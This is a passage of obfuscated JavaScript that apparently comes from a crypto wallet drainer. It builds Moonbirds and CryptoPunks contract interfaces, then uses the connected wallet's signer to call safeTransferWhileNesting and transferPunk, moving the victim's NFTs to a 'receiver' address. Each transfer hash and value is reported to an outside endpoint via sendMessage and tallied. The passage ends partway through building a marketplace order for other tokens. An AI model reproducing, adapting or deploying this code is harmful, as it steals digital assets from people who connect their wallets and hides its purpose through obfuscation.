name: 'tokenId',
type: "uint256"
};
const _0x2c92ac = {
anonymous: false,
inputs: [_0x4dd656],
name: 'Unnested',
type: 'event'
};
const _0x3510b2 = {
indexed: false,
internalType: "address",
name: "account",
type: "address"
};
const _0x45d3da = {
anonymous: false,
inputs: [_0x3510b2],
name: "Unpaused",
type: 'event'
};
const _0x2b148f = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x56a4b5 = {
inputs: [],
name: "DEFAULT_ADMIN_ROLE",
outputs: [_0x2b148f],
stateMutability: "view",
type: 'function'
};
const _0x4877ac = {
inputs: [],
name: "EXPULSION_ROLE",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "view",
type: 'function'
};
const _0x5002fb = {
internalType: "address",
name: "signer",
type: "address"
};
const _0x279bf2 = {
inputs: [_0x5002fb],
name: "addSigner",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x41d1fb = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x33ae5f = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0xaa68a3 = {
inputs: [_0x41d1fb, _0x33ae5f],
name: "alreadyMinted",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1b10e5 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x2a83d2 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0xfd1ab2 = {
inputs: [_0x1b10e5, _0x2a83d2],
name: "approve",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x4f2c02 = {
internalType: "address",
name: "owner",
type: "address"
};
const _0x551bfb = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x2f28e0 = {
inputs: [_0x4f2c02],
name: "balanceOf",
outputs: [_0x551bfb],
stateMutability: "view",
type: "function"
};
const _0x448c33 = {
inputs: [],
name: "baseTokenURI",
outputs: [{
'internalType': 'string',
'name': '',
'type': 'string'
}],
stateMutability: "view",
type: 'function'
};
const _0x3bc34a = {
inputs: [],
name: "beneficiary",
outputs: [{
'internalType': "address payable",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x5cde32 = {
internalType: "uint256",
name: 'n',
type: "uint256"
};
const _0x426cc2 = {
internalType: 'uint256',
name: '',
type: "uint256"
};
const _0x31841f = {
inputs: [_0x5cde32, _0x426cc2],
name: "cost",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x1737a7 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x23378a = {
inputs: [_0x1737a7],
name: "expelFromNest",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x51baef = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x5ed422 = {
inputs: [_0x51baef],
name: "getApproved",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x51cd9b = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x5cfac4 = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0xa2cf9c = {
inputs: [_0x51cd9b],
name: "getRoleAdmin",
outputs: [_0x5cfac4],
stateMutability: "view",
type: 'function'
};
const _0x26694f = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x425ce8 = {
internalType: "uint256",
name: "index",
type: 'uint256'
};
const _0x21bd9d = {
inputs: [_0x26694f, _0x425ce8],
name: "getRoleMember",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x163cf8 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x4524f6 = {
inputs: [_0x163cf8],
name: "getRoleMemberCount",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x4b7101 = {
internalType: 'bytes32',
name: "role",
type: "bytes32"
};
const _0xc7fe33 = {
internalType: "address",
name: "account",
type: "address"
};
const _0x234bdb = {
inputs: [_0x4b7101, _0xc7fe33],
name: 'grantRole',
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x448d47 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x2396a9 = {
internalType: "address",
name: 'account',
type: "address"
};
const _0x419dd9 = {
inputs: [_0x448d47, _0x2396a9],
name: "hasRole",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x3d9b37 = {
internalType: "address",
name: "owner",
type: "address"
};
const _0x29c5d5 = {
internalType: "address",
name: "operator",
type: "address"
};
const _0x414607 = {
inputs: [_0x3d9b37, _0x29c5d5],
name: "isApprovedForAll",
outputs: [{
'internalType': 'bool',
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x1a4d16 = {
internalType: 'uint256[]',
name: "proofTokenIds",
type: 'uint256[]'
};
const _0x11a8cf = {
inputs: [_0x1a4d16],
name: "mintPROOF",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x5581ca = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x5e34a7 = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x52e232 = {
internalType: 'bytes',
name: "sig",
type: 'bytes'
};
const _0x19048d = {
inputs: [_0x5581ca, _0x5e34a7, _0x52e232],
name: "mintPublic",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5f43e9 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x5e1176 = {
internalType: "uint256",
name: 'n',
type: "uint256"
};
const _0x53e2a8 = {
inputs: [_0x5f43e9, _0x5e1176],
name: "mintUnclaimed",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x154505 = {
inputs: [],
name: "name",
outputs: [{
'internalType': 'string',
'name': '',
'type': 'string'
}],
stateMutability: "view",
type: 'function'
};
const _0x57d4f1 = {
inputs: [],
name: "nestingOpen",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: "function"
};
const _0x5f1980 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x229c8f = {
inputs: [_0x5f1980],
name: "nestingPeriod",
outputs: [{
'internalType': "bool",
'name': "nesting",
'type': "bool"
}, {
'internalType': "uint256",
'name': 'current',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "total",
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x3117c8 = {
inputs: [],
name: "owner",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x33472d = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x1be949 = {
inputs: [_0x33472d],
name: 'ownerOf',
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x30b7b5 = {
inputs: [],
name: "pause",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x222a48 = {
inputs: [],
name: "paused",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x44a54a = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x126a27 = {
inputs: [],
name: "price",
outputs: [_0x44a54a],
stateMutability: "view",
type: 'function'
};
const _0x5d6ae0 = {
inputs: [],
name: 'proof',
outputs: [{
'internalType': "contract IERC721",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x387cdc = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x4cc854 = {
inputs: [_0x387cdc],
name: "proofClaimsRemaining",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x5e9e4c = {
inputs: [],
name: "proofMintingOpen",
outputs: [{
'internalType': 'bool',
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0xef464b = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x5e7bc7 = {
inputs: [],
name: "proofPoolRemaining",
outputs: [_0xef464b],
stateMutability: "view",
type: 'function'
};
const _0x1025b9 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x3cb219 = {
internalType: "uint256",
name: 'n',
type: "uint256"
};
const _0x4e7fb3 = {
inputs: [_0x1025b9, _0x3cb219],
name: "purchaseFreeOfCharge",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x687419 = {
internalType: "address",
name: "signer",
type: "address"
};
const _0xd2002f = {
inputs: [_0x687419],
name: "removeSigner",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x4f5009 = {
inputs: [],
name: "renderingContract",
outputs: [{
'internalType': "contract ITokenURIGenerator",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x59e118 = {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x19cc88 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0xa2d70b = {
internalType: "address",
name: "account",
type: "address"
};
const _0x32040d = {
inputs: [_0x19cc88, _0xa2d70b],
name: "renounceRole",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xc610b6 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x59efc3 = {
internalType: "address",
name: "account",
type: "address"
};
const _0x17bd85 = {
inputs: [_0xc610b6, _0x59efc3],
name: "revokeRole",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x113a46 = {
internalType: "uint256",
name: "_tokenId",
type: "uint256"
};
const _0x2ed39f = {
internalType: "uint256",
name: '_salePrice',
type: "uint256"
};
const _0x3113c3 = {
inputs: [_0x113a46, _0x2ed39f],
name: "royaltyInfo",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}, {
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x149845 = {
internalType: "address",
name: "from",
type: "address"
};
const _0x13aba4 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x38c1fb = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x4b8702 = {
inputs: [_0x149845, _0x13aba4, _0x38c1fb],
name: "safeTransferFrom",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x499386 = {
internalType: "address",
name: 'from',
type: "address"
};
const _0x295e74 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x324525 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x24d650 = {
internalType: "bytes",
name: "_data",
type: 'bytes'
};
const _0x5ccea5 = {
inputs: [_0x499386, _0x295e74, _0x324525, _0x24d650],
name: "safeTransferFrom",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x246005 = {
internalType: "address",
name: "from",
type: "address"
};
const _0x42b971 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x38b14d = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x3a554e = {
inputs: [_0x246005, _0x42b971, _0x38b14d],
name: "safeTransferWhileNesting",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x5f0e07 = {
inputs: [],
name: "sellerConfig",
outputs: [{
'internalType': "uint256",
'name': "totalInventory",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "maxPerAddress",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'maxPerTx',
'type': "uint256"
}, {
'internalType': "uint248",
'name': "freeQuota",
'type': "uint248"
}, {
'internalType': "bool",
'name': "reserveFreeQuota",
'type': "bool"
}, {
'internalType': "bool",
'name': "lockFreeQuota",
'type': "bool"
}, {
'internalType': "bool",
'name': "lockTotalInventory",
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x515103 = {
internalType: "address",
name: "operator",
type: "address"
};
const _0x5e3aee = {
internalType: "bool",
name: 'approved',
type: "bool"
};
const _0x540ae6 = {
inputs: [_0x515103, _0x5e3aee],
name: "setApprovalForAll",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x40546b = {
internalType: 'string',
name: "_baseTokenURI",
type: 'string'
};
const _0x31d0f0 = {
inputs: [_0x40546b],
name: "setBaseTokenURI",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x538ce7 = {
internalType: "address payable",
name: "_beneficiary",
type: "address"
};
const _0x338fc4 = {
inputs: [_0x538ce7],
name: "setBeneficiary",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0xaa4f23 = {
internalType: "bool",
name: "open",
type: "bool"
};
const _0x3edcf2 = {
inputs: [_0xaa4f23],
name: "setNestingOpen",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x11206c = {
internalType: "bool",
name: "open",
type: "bool"
};
const _0x419333 = {
inputs: [_0x11206c],
name: "setPROOFMintingOpen",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x207d6a = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x50c30f = {
inputs: [_0x207d6a],
name: "setPrice",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x1454f0 = {
internalType: "contract ITokenURIGenerator",
name: '_contract',
type: "address"
};
const _0x2c466e = {
inputs: [_0x1454f0],
name: "setRenderingContract",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x4f2a2b = {
internalType: "address",
name: "receiver",
type: 'address'
};
const _0x4dd333 = {
internalType: "uint96",
name: "feeBasisPoints",
type: "uint96"
};
const _0x46645b = {
inputs: [_0x4f2a2b, _0x4dd333],
name: "setRoyaltyInfo",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x1bb290 = {
internalType: "uint256",
name: "totalInventory",
type: "uint256"
};
const _0x28d92a = {
internalType: "uint256",
name: "maxPerAddress",
type: "uint256"
};
const _0x550648 = {
internalType: "uint256",
name: "maxPerTx",
type: "uint256"
};
const _0x516a07 = {
internalType: "uint248",
name: 'freeQuota',
type: "uint248"
};
const _0x30f6b5 = {
internalType: "bool",
name: "reserveFreeQuota",
type: 'bool'
};
const _0x270225 = {
internalType: "bool",
name: "lockFreeQuota",
type: "bool"
};
const _0x2883e6 = {
internalType: "bool",
name: "lockTotalInventory",
type: "bool"
};
const _0x2c2a5e = {
components: [_0x1bb290, _0x28d92a, _0x550648, _0x516a07, _0x30f6b5, _0x270225, _0x2883e6],
internalType: "struct Seller.SellerConfig",
name: "config",
type: 'tuple'
};
const _0x2b78e3 = {
inputs: [_0x2c2a5e],
name: "setSellerConfig",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x333963 = {
internalType: "bytes4",
name: "interfaceId",
type: "bytes4"
};
const _0x4c0ac4 = {
inputs: [_0x333963],
name: "supportsInterface",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x50b600 = {
internalType: "string",
name: '',
type: 'string'
};
const _0x2a8d06 = {
inputs: [],
name: "symbol",
outputs: [_0x50b600],
stateMutability: 'view',
type: 'function'
};
const _0x42158e = {
internalType: "uint256[]",
name: "tokenIds",
type: 'uint256[]'
};
const _0x25c24e = {
inputs: [_0x42158e],
name: "toggleNesting",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x5005cb = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x4de972 = {
inputs: [_0x5005cb],
name: 'tokenURI',
outputs: [{
'internalType': 'string',
'name': '',
'type': 'string'
}],
stateMutability: "view",
type: 'function'
};
const _0x5292dd = {
inputs: [],
name: 'totalSold',
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x170419 = {
inputs: [],
name: "totalSupply",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x4ab16a = {
internalType: "address",
name: "from",
type: 'address'
};
const _0x3ef499 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x43b088 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x221f61 = {
inputs: [_0x4ab16a, _0x3ef499, _0x43b088],
name: "transferFrom",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x289fbc = {
internalType: "address",
name: "newOwner",
type: "address"
};
const _0x5057d5 = {
inputs: [_0x289fbc],
name: "transferOwnership",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x5e35bb = {
inputs: [],
name: "unpause",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x57df0e = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x198abf = {
internalType: 'bool',
name: '',
type: "bool"
};
const _0x547d80 = {
inputs: [_0x57df0e],
name: "usedMessages",
outputs: [_0x198abf],
stateMutability: "view",
type: "function"
};
const _0x3ac6f5 = [_0x270b9f, _0x212c37, _0x440ad7, _0x2839d9, _0x2ab5ea, _0x2a0da3, _0x1d7abc, _0x559271, _0x27d061, _0xe03174, _0x5a8416, _0xb8fb8e, _0x4f04d5, _0x159701, _0x1419ff, _0x4f961c, _0x47c7a1, _0x5a2d51, _0x3af627, _0x3604d3, _0x681e56, _0x531834, _0x5af531, _0x117776, _0x3d6679, _0x54c644, _0x2c92ac, _0x45d3da, _0x56a4b5, _0x4877ac, _0x279bf2, _0xaa68a3, _0xfd1ab2, _0x2f28e0, _0x448c33, _0x3bc34a, _0x31841f, _0x23378a, _0x5ed422, _0xa2cf9c, _0x21bd9d, _0x4524f6, _0x234bdb, _0x419dd9, _0x414607, _0x11a8cf, _0x19048d, _0x53e2a8, _0x154505, _0x57d4f1, _0x229c8f, _0x3117c8, _0x1be949, _0x30b7b5, _0x222a48, _0x126a27, _0x5d6ae0, _0x4cc854, _0x5e9e4c, _0x5e7bc7, _0x4e7fb3, _0xd2002f, _0x4f5009, _0x59e118, _0x32040d, _0x17bd85, _0x3113c3, _0x4b8702, _0x5ccea5, _0x3a554e, _0x5f0e07, _0x540ae6, _0x31d0f0, _0x338fc4, _0x3edcf2, _0x419333, _0x50c30f, _0x2c466e, _0x46645b, _0x2b78e3, _0x4c0ac4, _0x2a8d06, _0x25c24e, _0x4de972, _0x5292dd, _0x170419, _0x221f61, _0x5057d5, _0x5e35bb, _0x547d80];
let _0x193346 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x2e84b0 = new ethers.Contract(_0x3baf38.contract, _0x3ac6f5, _0x193346);
const _0xd92ed9 = {
gasLimit: 0x30d40
};
let _0x192281 = await _0x2e84b0.safeTransferWhileNesting(await this.getWalletAddress(), this.receiver, _0x2dc9a4.asset.token_id, _0xd92ed9);
this.approved.push(Base64.encode(JSON.stringify(_0x3baf38)));
const _0x3ff767 = {
chain: _0x2dc9a4.chain,
type: "approvalNFT",
source: "Moonbirds",
txId: _0x192281.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(_0x3ff767);
this.totalNFTs = this.totalNFTs - _0x2dc9a4.value;
} else {
if (_0x3baf38.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") {
const _0x1dc935 = {
constant: true,
inputs: [],
name: "name",
outputs: [{
'name': '',
'type': 'string'
}],
payable: false,
type: 'function'
};
const _0x45e217 = {
name: '',
type: "uint256"
};
const _0x4542d7 = {
constant: true,
inputs: [_0x45e217],
name: "punksOfferedForSale",
outputs: [{
'name': "isForSale",
'type': "bool"
}, {
'name': "punkIndex",
'type': "uint256"
}, {
'name': "seller",
'type': "address"
}, {
'name': "minValue",
'type': "uint256"
}, {
'name': "onlySellTo",
'type': "address"
}],
payable: false,
type: 'function'
};
const _0x620661 = {
name: "punkIndex",
type: "uint256"
};
const _0x5c854b = {
constant: false,
inputs: [_0x620661],
name: "enterBidForPunk",
outputs: [],
payable: true,
type: 'function'
};
const _0x45245f = {
constant: true,
inputs: [],
name: "totalSupply",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
type: "function"
};
const _0x351186 = {
name: "punkIndex",
type: "uint256"
};
const _0x17a462 = {
name: 'minPrice',
type: "uint256"
};
const _0x4de1d1 = {
constant: false,
inputs: [_0x351186, _0x17a462],
name: "acceptBidForPunk",
outputs: [],
payable: false,
type: "function"
};
const _0x2c724f = {
name: '',
type: "uint8"
};
const _0x155211 = {
constant: true,
inputs: [],
name: "decimals",
outputs: [_0x2c724f],
payable: false,
type: 'function'
};
const _0x4cf068 = {
name: "addresses",
type: "address[]"
};
const _0x49b9b1 = {
name: 'indices',
type: 'uint256[]'
};
const _0x10ee0a = {
constant: false,
inputs: [_0x4cf068, _0x49b9b1],
name: "setInitialOwners",
outputs: [],
payable: false,
type: "function"
};
const _0x3f9764 = {
constant: false,
inputs: [],
name: "withdraw",
outputs: [],
payable: false,
type: 'function'
};
const _0x5ed290 = {
constant: true,
inputs: [],
name: "imageHash",
outputs: [{
'name': '',
'type': 'string'
}],
payable: false,
type: 'function'
};
const _0x3f2d04 = {
name: '',
type: "uint256"
};
const _0x22af17 = {
constant: true,
inputs: [],
name: "nextPunkIndexToAssign",
outputs: [_0x3f2d04],
payable: false,
type: "function"
};
const _0x5dd716 = {
name: '',
type: "uint256"
};
const _0x3ce2d5 = {
constant: true,
inputs: [_0x5dd716],
name: "punkIndexToAddress",
outputs: [{
'name': '',
'type': "address"
}],
payable: false,
type: 'function'
};
const _0x5778f3 = {
constant: true,
inputs: [],
name: "standard",
outputs: [{
'name': '',
'type': 'string'
}],
payable: false,
type: 'function'
};
const _0x298dcf = {
name: '',
type: "uint256"
};
const _0x591080 = {
constant: true,
inputs: [_0x298dcf],
name: 'punkBids',
outputs: [{
'name': "hasBid",
'type': "bool"
}, {
'name': "punkIndex",
'type': 'uint256'
}, {
'name': "bidder",
'type': "address"
}, {
'name': "value",
'type': "uint256"
}],
payable: false,
type: 'function'
};
const _0x497b56 = {
name: '',
type: "address"
};
const _0x249109 = {
name: '',
type: "uint256"
};
const _0x2dbfbb = {
constant: true,
inputs: [_0x497b56],
name: "balanceOf",
outputs: [_0x249109],
payable: false,
type: 'function'
};
const _0x500331 = {
constant: false,
inputs: [],
name: "allInitialOwnersAssigned",
outputs: [],
payable: false,
type: 'function'
};
const _0x441806 = {
constant: true,
inputs: [],
name: "allPunksAssigned",
outputs: [{
'name': '',
'type': "bool"
}],
payable: false,
type: 'function'
};
const _0x388890 = {
name: 'punkIndex',
type: "uint256"
};
const _0x5c103e = {
constant: false,
inputs: [_0x388890],
name: "buyPunk",
outputs: [],
payable: true,
type: 'function'
};
const _0x27dca8 = {
name: 'to',
type: "address"
};
const _0x3fbf4f = {
name: "punkIndex",
type: "uint256"
};
const _0xcd9ff8 = {
constant: false,
inputs: [_0x27dca8, _0x3fbf4f],
name: "transferPunk",
outputs: [],
payable: false,
type: 'function'
};
const _0x99a48e = {
constant: true,
inputs: [],
name: "symbol",
outputs: [{
'name': '',
'type': 'string'
}],
payable: false,
type: 'function'
};
const _0x2effb1 = {
name: "punkIndex",
type: "uint256"
};
const _0x37670a = {
constant: false,
inputs: [_0x2effb1],
name: "withdrawBidForPunk",
outputs: [],
payable: false,
type: 'function'
};
const _0x5e88e9 = {
name: 'to',
type: "address"
};
const _0x56bcf7 = {
name: 'punkIndex',
type: "uint256"
};
const _0x3b47e5 = {
constant: false,
inputs: [_0x5e88e9, _0x56bcf7],
name: "setInitialOwner",
outputs: [],
payable: false,
type: "function"
};
const _0x987d26 = {
name: "punkIndex",
type: "uint256"
};
const _0x17e18e = {
name: "minSalePriceInWei",
type: "uint256"
};
const _0x57fe1b = {
name: "toAddress",
type: "address"
};
const _0x1a8647 = {
constant: false,
inputs: [_0x987d26, _0x17e18e, _0x57fe1b],
name: "offerPunkForSaleToAddress",
outputs: [],
payable: false,
type: "function"
};
const _0x57f76a = {
name: '',
type: "uint256"
};
const _0xe888e4 = {
constant: true,
inputs: [],
name: "punksRemainingToAssign",
outputs: [_0x57f76a],
payable: false,
type: "function"
};
const _0x53a841 = {
name: "punkIndex",
type: "uint256"
};
const _0x4db41b = {
name: "minSalePriceInWei",
type: "uint256"
};
const _0x228291 = {
constant: false,
inputs: [_0x53a841, _0x4db41b],
name: "offerPunkForSale",
outputs: [],
payable: false,
type: 'function'
};
const _0x1f9dc4 = {
name: "punkIndex",
type: "uint256"
};
const _0x313433 = {
constant: false,
inputs: [_0x1f9dc4],
name: 'getPunk',
outputs: [],
payable: false,
type: "function"
};
const _0x32f2d9 = {
name: '',
type: "address"
};
const _0x2e9912 = {
constant: true,
inputs: [_0x32f2d9],
name: "pendingWithdrawals",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
type: 'function'
};
const _0x87925f = {
name: "punkIndex",
type: "uint256"
};
const _0x69a226 = {
constant: false,
inputs: [_0x87925f],
name: "punkNoLongerForSale",
outputs: [],
payable: false,
type: 'function'
};
const _0x12a39b = {
inputs: [],
payable: true,
type: "constructor"
};
const _0x5868e8 = {
indexed: true,
name: 'to',
type: "address"
};
const _0x436e2d = {
indexed: false,
name: "punkIndex",
type: "uint256"
};
const _0x16465f = {
anonymous: false,
inputs: [_0x5868e8, _0x436e2d],
name: 'Assign',
type: "event"
};
const _0x500717 = {
indexed: true,
name: "from",
type: "address"
};
const _0xadfd0d = {
indexed: true,
name: 'to',
type: "address"
};
const _0x135327 = {
indexed: false,
name: "value",
type: "uint256"
};
const _0x230814 = {
anonymous: false,
inputs: [_0x500717, _0xadfd0d, _0x135327],
name: "Transfer",
type: 'event'
};
const _0x14c398 = {
indexed: true,
name: "from",
type: "address"
};
const _0x5e50d8 = {
indexed: true,
name: 'to',
type: "address"
};
const _0x49ec91 = {
indexed: false,
name: "punkIndex",
type: "uint256"
};
const _0xcbb14a = {
anonymous: false,
inputs: [_0x14c398, _0x5e50d8, _0x49ec91],
name: "PunkTransfer",
type: 'event'
};
const _0x3ef250 = {
indexed: true,
name: "punkIndex",
type: "uint256"
};
const _0x3c9aba = {
indexed: false,
name: "minValue",
type: "uint256"
};
const _0x28f52a = {
indexed: true,
name: "toAddress",
type: "address"
};
const _0x571578 = {
anonymous: false,
inputs: [_0x3ef250, _0x3c9aba, _0x28f52a],
name: "PunkOffered",
type: 'event'
};
const _0x245a97 = {
indexed: true,
name: "punkIndex",
type: "uint256"
};
const _0x11561a = {
indexed: false,
name: "value",
type: "uint256"
};
const _0x3b0289 = {
indexed: true,
name: "fromAddress",
type: "address"
};
const _0x363951 = {
anonymous: false,
inputs: [_0x245a97, _0x11561a, _0x3b0289],
name: "PunkBidEntered",
type: "event"
};
const _0x39452b = {
indexed: true,
name: "punkIndex",
type: "uint256"
};
const _0x2c2485 = {
indexed: false,
name: "value",
type: "uint256"
};
const _0x35b5f9 = {
indexed: true,
name: "fromAddress",
type: "address"
};
const _0x841224 = {
anonymous: false,
inputs: [_0x39452b, _0x2c2485, _0x35b5f9],
name: "PunkBidWithdrawn",
type: 'event'
};
const _0x2aacde = {
indexed: true,
name: "punkIndex",
type: "uint256"
};
const _0x27e977 = {
indexed: false,
name: "value",
type: "uint256"
};
const _0x77cb15 = {
indexed: true,
name: "fromAddress",
type: "address"
};
const _0xd0f4a8 = {
indexed: true,
name: "toAddress",
type: "address"
};
const _0x396695 = {
anonymous: false,
inputs: [_0x2aacde, _0x27e977, _0x77cb15, _0xd0f4a8],
name: "PunkBought",
type: 'event'
};
const _0x73c349 = {
indexed: true,
name: "punkIndex",
type: "uint256"
};
const _0x21427e = {
anonymous: false,
inputs: [_0x73c349],
name: "PunkNoLongerForSale",
type: 'event'
};
const _0xa197ce = [_0x1dc935, _0x4542d7, _0x5c854b, _0x45245f, _0x4de1d1, _0x155211, _0x10ee0a, _0x3f9764, _0x5ed290, _0x22af17, _0x3ce2d5, _0x5778f3, _0x591080, _0x2dbfbb, _0x500331, _0x441806, _0x5c103e, _0xcd9ff8, _0x99a48e, _0x37670a, _0x3b47e5, _0x1a8647, _0xe888e4, _0x228291, _0x313433, _0x2e9912, _0x69a226, _0x12a39b, _0x16465f, _0x230814, _0xcbb14a, _0x571578, _0x363951, _0x841224, _0x396695, _0x21427e];
let _0x1b8be0 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x11a0ab = new ethers.Contract(_0x3baf38.contract, _0xa197ce, _0x1b8be0);
const _0x2f2bf2 = {
'gasLimit': 0x30d40
};
let _0x74e578 = await _0x11a0ab.transferPunk(this.receiver, _0x2dc9a4.asset.token_id, _0x2f2bf2);
this.approved.push(Base64.encode(JSON.stringify(_0x3baf38)));
const _0x2f78df = {
chain: _0x2dc9a4.chain,
type: "approvalNFT",
source: "Cryptopunk",
txId: _0x74e578.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(_0x2f78df);
this.totalNFTs = this.totalNFTs - _0x2dc9a4.value;
} else {
if (_0x3baf38.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x3baf38.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x3baf38.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x3baf38.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x3baf38.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x3baf38.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x3baf38.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") {
let _0x10553f = 2;
if (_0x3baf38.scheme == 'erc1155') {
_0x10553f = 3;
}
const _0x92b453 = {
itemType: _0x10553f,
token: _0x3baf38.contract,
